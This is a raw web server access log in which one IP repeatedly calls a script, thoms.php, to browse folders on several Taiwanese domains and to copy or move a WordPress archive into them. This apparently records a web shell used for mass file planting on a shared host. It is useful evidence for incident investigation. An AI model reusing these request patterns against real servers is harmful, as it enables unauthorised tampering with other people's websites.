45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19186 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13049 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19198 "https://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13052 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11361 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17882 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17883 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fupgrade HTTP/1.1" 200 11362 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13421 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17653 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bioway88.com.tw%2F.well-known HTTP/1.1" 200 12586 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:49 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59211 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12041 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17654 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13282 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 13277 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 200 13418 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17606 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2F.well-known HTTP/1.1" 200 12582 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:50 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17606 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 12040 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 14337 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 13723 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14099 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17369 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:51 -0400] "GET /thoms.php?p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 200 12049 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:52 -0400] "GET /thoms.php?p=betcity.com.tw%2Fupgrade HTTP/1.1" 200 13974 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
